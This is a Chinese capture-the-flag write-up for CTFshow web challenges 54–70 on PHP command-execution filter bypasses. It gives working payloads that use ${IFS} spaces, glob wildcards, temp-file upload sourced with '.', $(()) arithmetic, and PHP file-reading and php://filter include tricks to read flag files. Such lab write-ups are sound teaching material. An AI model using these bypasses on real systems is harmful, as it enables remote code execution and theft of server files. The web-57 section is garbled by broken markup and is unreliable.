CTFSHOW-WEB入门-命令执行54-70

server/2025/2/3 13:20:36/
  1. 题目:web 54
    1. 题目:
    2. 解题思路:分析题目可以知道,题目过滤了: 分号;空格 数字 制表符 百分号% 反引号 ` 大于号> 小于号< 中间若干个命令过滤方式,以cat为例: 这些字符 ‘c’、‘a’ 和 ‘t’ 可以以任意顺序出现,并且它们之间可以有任意字符(包括零个字符)分隔。 类似的处理方法还有:flag more wget less head sort tail sed cut tac awk strings scp nl rm curl
    3. 首先ls命令没有被过滤,还可以使用:得到flag在什么位置,flag.php,但是这里不能直接使用flag的各种拼接方案,又发现通配符?没有被过滤,于是可以使用fla?.php,空格可以使用${IFS}这里主要是命令的选用:
      1. 第一种:利用grep管道命令:
php">grep
用途:在文件中搜索匹配的字符串并打印行。
用法:
grep 'pattern' filename
添加 -i 参数忽略大小写:
grep -i 'pattern' filename
使用 -n 查看匹配行的行号:
grep -n 'pattern' filename
        1. ?c=grep${IFS}'fla'${IFS}fla?.php得到结果:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738038651480-875c0b69-6a1d-4c76-8e4d-40eee18b3934.png)2. 使用vi命令:
php"> vi/vim
用途:使用文本编辑器查看和编辑文件。
用法:
vi filename
        1. ?c=vi${IFS}fla?.php得到结果:页面显示为乱码,查看源代码可得结果:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738038847762-829135f4-dc8f-4448-81d8-1e0333ad80da.png)flag:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738038887837-2ca538fe-8627-433c-b7d9-8bdd1ca56cac.png)3. 使用rev命令:
php">rev 是一个在 Linux 和 Unix-like 操作系统中使用的命令,用于反转每一行的字符顺序。它从标准输入读取文本,并将每一行的字符反转后输出到标准输出。
基本用法
rev [FILE]
如果没有指定文件(即不传入参数),rev 将从标准输入读取文本,通常你可以通过键入文本后按 Ctrl+D (Unix/Linux) 或 Ctrl+Z (Windows) 来结束输入并查看输出结果。
如果指定了文件,rev 会读取该文件的内容并反转每一行。
示例
从标准输入反转文本:
echo "Hello World" | rev
输出:
dlroW olleH
反转文件内容:
假设存在一个文件 example.txt,其内容为:
Hello
World
你可以运行:
rev example.txt
输出:
olleH
dlroW
处理多行文本:
如果你使用 rev 来处理多行文本,它会逐行反转每一行:
cat <<EOF | rev
Hello
World
This is a test.
EOF
输出:
olleH
dlroW
.tset a si sihT
        1. ?c=rev${IFS}fla?.php得到:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738039154001-cc782593-77d1-4349-ae3d-01f36c66b64a.png)刚好是反过来的:}a201310c54a2-374a-c424-9ebc-5f901058{wohsftc      这里可以使用py反过来:
php"># 反转单行文本
python -c "print('Hello World'[::-1])"
# 反转文件中的每一行
python -c "with open('path\\to\\your\\file.txt') as f: print(''.join(line[::-1] for line in f))"
        2. 反转得到:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738039379685-455eec99-560e-49f8-baea-45381f1b896f.png)4. 使用mv命令结合uniq命令:
php">将 oldname.txt 重命名为 newname.txt:
mv oldname.txt newname.txt
这里如果第二个参数为路径,则是移动文件uniq 命令是一个在 Unix 和类 Unix 操作系统中用来去除重复行的工具。它通常与 sort 命令结合使用,因为 uniq 只会处理相邻的重复行。
基本语法
uniq [选项] [输入文件] [输出文件]
输入文件:要处理的文件,默认是标准输入(stdin)。
输出文件:将结果写入指定的文件,默认是标准输出(stdout)。
常用选项
-c:计数重复的行,并在结果前面显示计数。
uniq -c filename.txt
-d:只显示重复的行,而不显示唯一的行。
uniq -d filename.txt
-u:只显示唯一的行,而不显示重复的行。
uniq -u filename.txt
-i:忽略大小写。
uniq -i filename.txt
-w N:只比较每行的前 N 个字符。
uniq -w 4 filename.txt
-s N:忽略每行的前 N 个字符。
uniq -s 2 filename.txt
        1. ?c=mv${IFS}fla?.php${IFS}m.txt 2. ?c=uniq${IFS}m.txt:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738040968520-b8d716a6-0c7d-4c50-9de2-4815b636d897.png)3. 也可以只用uniq命令,?c=uniq${IFS}f???.php(这里经过测试fla?.php不可行,不知道为什么,有知道的师傅可以解释解释):![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738040659120-ce787348-8cd5-4389-949e-02c6a02ea333.png)5. 根据题目提示:可以通过命令路径来使用cat命令(linux路径下万物皆文件)?c=/bin/ca?${IFS}f???.php(这里文件仍然跟上一种解法一样):![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738040917386-a6ad87f8-55b7-4a5c-b9ec-9661edf45733.png)
4. 知识点:空格绕过  命令替换
  1. 题目:web 55
    1. 题目:
    2. 解题思路:这个题目将字母,反引号 分号 制表符 & 尖括号 过滤掉了,回想起来无数字字母rce,通过取反试一下:得到ls的命令(“%10%08”|“%7c%7b”)试一下,但是没有回显,抓包也不行,于是就是用其他方法,查找大佬wp,发现之前学到无数字字母rce时,还有后面几种没了解,还有一种方法(根据题目提示:):思路1:临时文件上传 结合 .号执行系统命令:(1)先简要了解一下什么是临时文件上传:临时文件上传指的是 PHP在利用post上传文件的时候往往会先生成一个临时文件,在tmp文件夹下,而且生成的文件名一般是phpXXXXXX(windows下是phpXXXXXX.tmp文件), 默认文件名是 /tmp/phpXXXXXX , 文件名最后6个字符是随机的大小写。 (2) 对于.号的作用,在Linux下可以在当前目录下执行可执行文件或者命令,举个例子:. file就可以执行file文件内的命令或程序,那么就可以利用这两个特点来解答本题:答题思路:上传文件使其生成临时文件,通过通配符匹配当前文件,利用.号来执行命令。具体步骤:
      1. (1)制作表单,利用post上传文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="http://f6648658-bd0a-4399-81e1-2f88fc0cb0c5.challenge.ctf.show/" method="post" enctype="multipart/form-data">   
<input type="file" name="file">
<input type="submit" value="提交">
</form>
</body>
</html>
        1. 上传文件:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738309683629-11d15248-e429-468a-b253-3da3b3843d30.png)2. (2)抓包,传参数,传命令:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738310330352-bf14767e-4d1f-4b5d-820a-731c48d4b91b.png)![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738310333572-0056d211-3609-4135-95f5-96c114672457.png)解释一下传参中c的值  c=.%20/???/????????[@-[]的意思是`c=. /tmp/phpXXXXX+一个大写字母`,由于php生成的临时文件的命名中一般为大小写字母的组合,不妨令最后一个字母为大写字母,这里`[@-[]`的意思是匹配了所有大写字母其中的-前后表示的是范围:意思是匹配的是@到[之间的所有字符,根据ASCII码表,它表示的是所有大写字母:                                                           ![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738311157150-c2c02f1a-0534-4c57-8891-a38f027bce31.png) 使用的命令#!/bin/sh说明用的是sh命令解释器,是典型的<font style="color:rgba(0, 0, 0, 0.88);background-color:rgb(242, 247, 255);">Linux 脚本文件的开头,</font>ls用于展示当前目录的内容。3. 关于glob通配符的使用:
1) *:匹配一个路径部分中'0个或多个'字符
2) ?:匹配'一个'字符
shell glob模式: '​​*​​' 可以匹配除了'/​​以外'的任何东西,"​​?​​" 可以匹配除了"​/​​"以外的任意字符
3)[]:匹配'字符集中的单个'字符 -->'[方括号]'注意1: 在[^…]和[!…]表示匹配'不在列表中'的字符,如[^abc]匹配除了a, b, c以外的字符注意2: 包含在[]中的字符'只会'被匹配一个,并且[]里面'不可以为空'注意3: []里面可以包含[,],!,?,*,\这些'特殊'字符,需要'转义'注意4: 可以使用横杠'-',例如:[a-z]需求: 如果要匹配'-',则可以把-放在'前面'或者'后面'比如: [-a0-9]匹配-,a,0到9中的'任意'字符
    4. 关于shell  sh  bash的关系:
bash、sh 和 shell 之间的关系可以从多个角度来理解。以下是对这三者之间关系的解释:
1. Shell 的定义
Shell 是一个命令行界面程序,它提供了一个用户与操作系统之间进行交互的环境。用户可以输入命令来执行操作,shell 会解释这些命令并将其传递给操作系统执行。
Shell 的功能包括命令解析、作业控制、输入输出重定向、文件名匹配等。
2. sh 和 bash
sh (Bourne shell):这是第一款广泛使用的 shell,由 Stephen Bourne 开发。它是 Unix 系统的原始 shell,也是许多后来的 shell 的基础。sh 有一种基本的命令解释语法,并支持基本的脚本编写功能。
bash (Bourne Again Shell):这是 GNU 项目下开发的一款 shell,它是 sh 的增强版本,具有更多功能和改进。bash 兼容 sh,但它也支持许多新的特性,如命令行编辑、命令补全、数组等。
3. 关系总结
shell 是一个总称:bash 和 sh 都是 shell 的具体实现。它们都是命令行解释器,用于运行用户命令和脚本。
sh 是较早的 shell 实现,而 bash 是对其功能的扩展和增强。虽然 bash 增加了很多现代化的功能,但它仍然保持与 sh 的兼容性。这意味着大多数用 sh 编写的脚本可以在 bash 中运行。
在实用性上,许多脚本开发者和系统管理员更倾向于使用 bash,因为它提供了更强大的编程功能和更好的用户体验。许多 Linux 发行版默认使用 bash 作为用户 shell。
4. 运行脚本的构造
在脚本的第一行中,通常会看到类似于 #!/bin/sh 或 #!/bin/bash 的行,这表明该脚本应由哪个解释器来执行。选择 sh 会使脚本更加通用并具有广泛兼容性,而选择 bash 则可以利用其增强特性。
3. 思路二:通过linux下别的命令,base64命令,可以将二进制文本转换为base64字符串并且输出:<font style="color:#000000;"></font>
php">bash: GNU Bourne Again SHell,Linux 的主流命令行界面。
cat: 连接文件并打印到标准输出。
chmod: 更改文件或目录的访问权限。
cp: 复制文件和目录。
date: 显示或设置系统的日期与时间。
df: 报告各文件系统的磁盘空间使用情况。
echo: 打印文本到标准输出。
false: 返回错误的退出状态。
ln: 创建链接到文件。
ls: 列出目录内容。
mkdir: 创建新目录。
mknod: 创建特殊文件(例如设备文件)。
mv: 移动文件或重命名文件。
pwd: 显示当前工作目录。
rm: 删除文件或目录。
rmdir: 删除空目录。
sh: Bourne shell,系统的标准 shell。
sleep: 暂停执行一段时间。
tar: 用于打包和解包文件。
touch: 更新文件的时间戳,或创建一个新的空文件。
uname: 打印系统信息。
whoami: 显示当前用户的用户名。
        1. 由于过滤了字母,于是可以使用通配符?来进行绕过,可以通过system(/bin/base64 flag.php);执行,于是构造?c=/???/????64 ????.???:得到文本flag.php的base64文本形式:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738133255652-a773ec30-72e3-4f19-ade5-a4a00b94bc76.png)解密得到:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1738133278782-0a2df562-6a7e-4529-816c-806c7f93809d.png)
4. 知识点:临时文件上传    使用.执行命令
  1. 题目:web 56

    1. 题目:
    2. 解题思路:使用上一题的思路仍然可以解决:临时文件上传:使用base64命令结合通配符就不行了,因为过滤了数字。
    3. 知识点:无字母数字rce
  2. 题目:web 57

    1. 题目:
    2. 解题思路:可以看到,过滤了点号,那么就无法使用上一题的做法了,于是参看题目提示:使用 ( ( ) ) 运算进行解析,由于这道题的 f l a g 在 36. P H P 下,而且又给出来 c a t 和 P H P ,那么我们只需要拼接出 36 即可,又因为对 36 进行按位取反可以得到 − 37 ,于是对 − 37 在进行按位取反就可以得到 36 。通过查阅资料可以知道,在 l i n u x 下, ‘ ∗ ∗ < f o n t s t y l e = " c o l o r : r g b ( 251 , 71 , 135 ) ; " > (())运算进行解析,由于这道题的flag在36.PHP下,而且又给出来cat 和PHP,那么我们只需要拼接出36即可,又因为对36进行按位取反可以得到-37,于是对-37在进行按位取反就可以得到36。通过查阅资料可以知道 ,在linux下, `**<font style="color:rgb(251, 71, 135);"> (())运算进行解析,由于这道题的flag36.PHP下,而且又给出来catPHP,那么我们只需要拼接出36即可,又因为对36进行按位取反可以得到37,于是对37在进行按位取反就可以得到36。通过查阅资料可以知道,在linux下,<fontstyle="color:rgb(251,71,135);">((…))**<font style="color:rgba(0, 0, 0, 0.88);"> 语法用于执行算术表达式,并返回计算结果。并且$(())可以返回0,对其进行取反可以返回-1,$((~$(())))=-1,</font> ( ( (( (((($(()))))$(( ( ( ) ) ) ) ) = (()))))= (()))))=((-1-1))=-2<font style="color:rgba(0, 0, 0, 0.88);">以此类推,则有:-37=</font> ( ( (( (((($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))(($(())))$(( ( ( ) ) ) ) (()))) (())))((~ ( ( ) ) ) ) ) ) < / f o n t > ‘ < f o n t s t y l e = " c o l o r : r g b a ( 0 , 0 , 0 , 0.88 ) ; " > , 于是 36 = (())))))</font>`<font style="color:rgba(0, 0, 0, 0.88);">,于是36= (())))))</font><fontstyle="color:rgba(0,0,0,0.88);">,于是36=((~-37)),即:<font style="color:rgba(0, 0, 0, 0.88);">$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))</font>演示:将得到的字符串上传即可
    3. 知识点:linux下的$(())运算符
  3. 题目:web 58

    1. 题目:
    2. 解题思路:题目较为简洁,大体意思是post一个c的参数,并且将c的值给到eval函数,当作php代码执行,首先尝试一下system();却发现这个函数危险,应该是将其过滤了,于是尝试其他方法:之前还学习过几种其他查看文件代码的方法,(1)通过函数highlight_file(),show_source(),readfile()可以查看文件代码:(2)通过无参数rce也可以获得:c=highlight_file(array_rand(array_flip(scandir(getcwd())))) —作用是读取当前目录下的文件:(3)借助include函数结合伪协议传参:c=include($_POST[‘a’]);&a=php://filter/convert.base64-encode/resource=flag.php 得到一串base64编码的源码:解码可以得到:
    3. 知识点:
  4. 题目:web 59

    1. 题目:
    2. 解题思路:与上一题类似,
  5. 题目:web 60

    1. 题目:
    2. 解题思路:函数include()和函数show_source()函数还可以使用,但readfile()就被过滤 了:
  6. 题目:web 61

    1. 题目:
    2. 解题思路:解法使用show_source() include() 以及无参数rce的方法均可,这里使用无参数rce,先查看当前目录:c=print_r(scandir(dirname(‘FILE’)))发现flag.php;于是c=highlight_file(array_rand(array_flip(scandir(getcwd())))):
  7. 题目:web 62

    1. 题目:
    2. 解题思路:与前几个题目一样的做法,过滤了highlight_file():
  8. 题目:web 63

    1. 题目:
    2. 解题思路:和前面集体解法一样
  9. 题目:web 64

    1. 题目:
    2. 解题思路:与之前一样
  10. 题目:web 65

    1. 题目:
    2. 解题思路:与上题一样:
    3. 知识点:
  11. 题目:web 66

    1. 题目:
    2. 解题思路:过滤了highlight_file():换一个:show_source() readfile()均过滤尝试include():得到尝试无参数rce:查看当前目录:查看flag:于是猜测这次得flag不在当前目录下,于是查看一下根目录下的文件叭:c=print_r(scandir(dirname(‘/’)))得到:有一个flag.txt于是,查看知道了flag路径,于是想办法查看:由于过滤较多,就使用highlight_file():得到flag
  12. 题目:web 67

    1. 题目:
    2. 解题思路:题接上一题,使用print_r()函数发现被过滤,于是再想其他方法:通过var_dump结合scandir()获取当前目录内容以及根目录内容:c=var_dump(scandir(dirname(‘FILE’))):我们知道这个应该是假的:于是查看根目录:c=var_dump(scandir(dirname(‘/’)));查看文件内容:c=highlight_file(‘/flag.txt’);:
  13. 题目:web 68

    1. 题目:
    2. 解题思路:首先查看根目录下:c=var_dump(scandir(dirname(‘/’)));发现flag.txt:highlight_file()被禁了怎么读取呢?(1)结合include() 或 require()或include_once()或require_once()直接包含flag.txt文件:
  14. 题目:web 69

    1. 题目:
    2. 解题思路:可以发现过滤了var_dump函数,于是要想获得其目录结构,可以寻找一个var_dump函数的替代函数,查找资料发现有这么一个函数:var_export()函数与var_dump函数类似,只打印合法的php代码,于是我们尝试读取根目录:利用文件包含漏洞函数获得flag:
  15. 题目:web 70

    1. 题目:
    2. 解题思路:使用上一题的方法得到根目录的文件:c=var_export(scandir(dirname(‘/’)));通过include()函数得到flag:也可以使用readgzfile()函数:c=readgzfile(‘/flag.txt’); 会读取gzip文件并将其内容输出到标准输出设备。如果文件不是gzip格式,readgzfile会直接从文件中读取内容而不进行解压。

http://www.ppmy.cn/server/164620.html

相关文章

【Redis】set 和 zset 类型的介绍和常用命令

1. set 1.1 介绍 set 类型和 list 不同的是&#xff0c;存储的元素是无序的&#xff0c;并且元素不允许重复&#xff0c;Redis 除了支持集合内的增删查改操作&#xff0c;还支持多个集合取交集&#xff0c;并集&#xff0c;差集 1.2 常用命令 命令 介绍 时间复杂度 sadd …

RTOS面试合集

目录 啥是RTOS 进程的状态 RTOS的调度 什么是时间片轮转调度&#xff1f; 如何实现基于优先级的抢占调度&#xff1f; 任务调度中的“时间窗”概念是什么&#xff1f; 任务和线程 如何在RTOS中创建和删除任务&#xff1f; 任务间如何共享数据&#xff1f; 如何管理任务…

01.双Android容器解决方案

目录 写在前面 一&#xff0c;容器 1.1 容器的原理 1.1.1 Namespace 1.1.2 Cgroups&#xff08;Control Groups&#xff09; 1.1.3 联合文件系统&#xff08;Union File System&#xff09; 1.2 容器的应用 1.2.1 微服务架构 1.2.2 持续集成和持续部署&#xff08;CI/…

2015年蓝桥杯第六届CC++大学B组真题及代码

目录 1A&#xff1a;奖券数目&#xff08;填空_简单枚举&#xff09; 2B&#xff1a;星系炸弹&#xff08;填空_日期计算&#xff09; 3C&#xff1a;三羊献瑞&#xff08;填空_全排列&#xff09; 4D&#xff1a;格子中输出&#xff08;代码填空&#xff09; 5E&#xff1…

代替Winform、Win32控件的一些界面框架Electron,QT等

以下是一些可以代替Winform、Win32控件&#xff0c;在VC、VBA等EXE程序上用来做控件元素、表格数据绑定、窗口显示的WEB UI框架和工具&#xff1a; 1. Electron 特点&#xff1a;Electron是一个使用JavaScript、HTML和CSS构建跨平台桌面应用程序的框架。它允许开发者使用Web技…

【HTML入门】Sublime Text 4与 Phpstorm

文章目录 前言一、环境基础1.Sublime Text 42.Phpstorm(1)安装(2)启动Phpstorm(3)“启动”码 二、HTML1.HTML简介(1)什么是HTML(2)HTML版本及历史(3)HTML基本结构 2.HTML简单语法(1)HTML标签语法(2)HTML常用标签(3)表格(4)特殊字符 总结 前言 在当今的软件开发领域&#xff0c…

【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】2.9 广播陷阱:形状不匹配的深层隐患

2.9 广播陷阱&#xff1a;形状不匹配的深层隐患 目录 #mermaid-svg-F0AgBChfSCGzOqa7 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-F0AgBChfSCGzOqa7 .error-icon{fill:#552222;}#mermaid-svg-F0AgBChfSCGzOqa7 …

一个简单的自适应html5导航模板

一个简单的 HTML 导航模板示例&#xff0c;它包含基本的导航栏结构&#xff0c;同时使用了 CSS 进行样式美化&#xff0c;让导航栏看起来更美观。另外&#xff0c;还添加了一些 JavaScript 代码&#xff0c;用于在移动端实现导航菜单的展开和收起功能。 PHP <!DOCTYPE htm…